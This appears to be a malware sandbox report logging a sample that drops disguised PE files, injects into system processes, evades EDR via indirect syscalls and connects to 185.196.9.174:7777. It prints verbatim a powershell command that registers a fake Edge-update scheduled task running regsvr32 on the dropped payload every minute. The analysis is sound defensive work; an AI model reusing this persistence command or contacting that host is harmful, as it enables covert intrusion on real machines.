Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7691
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1880
Source: C:\Windows\System32\regsvr32.exe	Window / User API: threadDelayed 9729

Source: C:\Windows\System32\rekeywiz.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\oc82.ini			Jump to dropped file
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\ACKq.ini			Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	API coverage: 1.5 %
Source: C:\Windows\System32\rekeywiz.exe	API coverage: 1.6 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep count: 5686 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep count: 4068 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 7692	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe TID: 8144	Thread sleep time: -152000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe TID: 8144	Thread sleep time: -618200s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308	Thread sleep count: 7691 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5312	Thread sleep count: 1880 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2844	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 7676	Thread sleep time: -18446744073709540s >= -30000s

Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\regsvr32.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6997140F0 memcpy,memcpy,memset,FindFirstFileW,memcpy,GetLastError,FindClose,GetLastError,		0_2_00007FF6997140F0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12940F0 memcpy,memcpy,memset,FindFirstFileW,memcpy,GetLastError,FindClose,GetLastError,		12_2_00007FF6D12940F0

Source: C:\Program Files\Windows Media Player\wmpnscfg.exe

Code function: 9_2_000001C7BCC822D0 GetSystemInfo,VirtualAlloc,

9_2_000001C7BCC822D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft	Jump to behavior

Source: OpenWith.exe, 00000004.00000003.1867102224.00000149EA1B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkymbolicLinkcLinkSymbolicLink
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: dllhost.exe, 0000000A.00000002.2908315390.0000021AFD42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZ
Source: OpenWith.exe, 00000004.00000003.1822622813.00000149EA1DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkmbolicLinkSymbolicLink
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: dllhost.exe, 0000000A.00000002.2908315390.0000021AFD42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: OpenWith.exe, 00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: wmpnscfg.exe, 00000009.00000002.2909083210.000001C7BCD38000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 0000000A.00000002.2908315390.0000021AFD42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wmpnscfg.exe, 00000009.00000002.2909083210.000001C7BCD38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws\System32\en-US\wshqos.dll.mui
Source: OpenWith.exe, 00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: rekeywiz.exe, 0000000B.00000003.2073173628.00000215F7E9E000.00000004.00000020.00020000.00000000.sdmp, rekeywiz.exe, 0000000B.00000002.2909916430.00000215F7E82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Code function: 0_2_00007FF699712CF0 GetProcessHeap,HeapAlloc,

0_2_00007FF699712CF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996C1180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,	0_2_00007FF6996C1180
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69989BC00 SetUnhandledExceptionFilter,	0_2_00007FF69989BC00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1241180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,	12_2_00007FF6D1241180
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D138DC00 SetUnhandledExceptionFilter,	12_2_00007FF6D138DC00

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 185.196.9.174 7777

.NET source code references suspicious native API functions

Source: 3.2.regsvr32.exe.2dd3d50.1.raw.unpack, Flutter.cs	Reference to suspicious API methods: VirtualAlloc(IntPtr.Zero, new IntPtr(65536), MEM_COMMIT, 4u)
Source: 3.2.regsvr32.exe.2dd3d50.1.raw.unpack, Flutter.cs	Reference to suspicious API methods: Marshal.WriteIntPtr(new IntPtr(intPtr.ToInt64() + num), GetProcAddress(moduleHandle, array[i]))
Source: 3.2.regsvr32.exe.2dd3d50.1.raw.unpack, Flutter.cs	Reference to suspicious API methods: VirtualProtect(intPtr, 65536u, 64u, out var _)

Allocates memory in foreign processes

Source: C:\Program Files\Windows Media Player\wmpnscfg.exe

Memory allocated: C:\Windows\System32\dllhost.exe base: 21AFD2E0000 protect: page read and write

Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

NtWriteFile: Indirect: 0x7FF699717076

Jump to behavior

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\regsvr32.exe

Thread register set: 7668 5

Jump to behavior

Writes to foreign memory regions

Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Memory written: C:\Windows\System32\dllhost.exe base: 21AFD2E0000			Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Memory written: C:\Windows\System32\dllhost.exe base: 7FF70F3314E0			Jump to behavior

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"	Jump to behavior
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmpnscfg.exe "C:\Program Files\Windows Media Player\wmpnscfg.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{88C88888-CCCC-4CC8-CCCC-C8CCC8888000}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata/roaming/ackq.ini\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{004c0880-8c4c-4cc0-cc40-c80cc800c4c4}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries)"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata/roaming/oc82.ini\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{88c88888-cccc-4cc8-cccc-c8ccc8888000}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries)"
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata/roaming/ackq.ini\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{004c0880-8c4c-4cc0-cc40-c80cc800c4c4}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries)"	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata/roaming/oc82.ini\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{88c88888-cccc-4cc8-cccc-c8ccc8888000}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries)"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
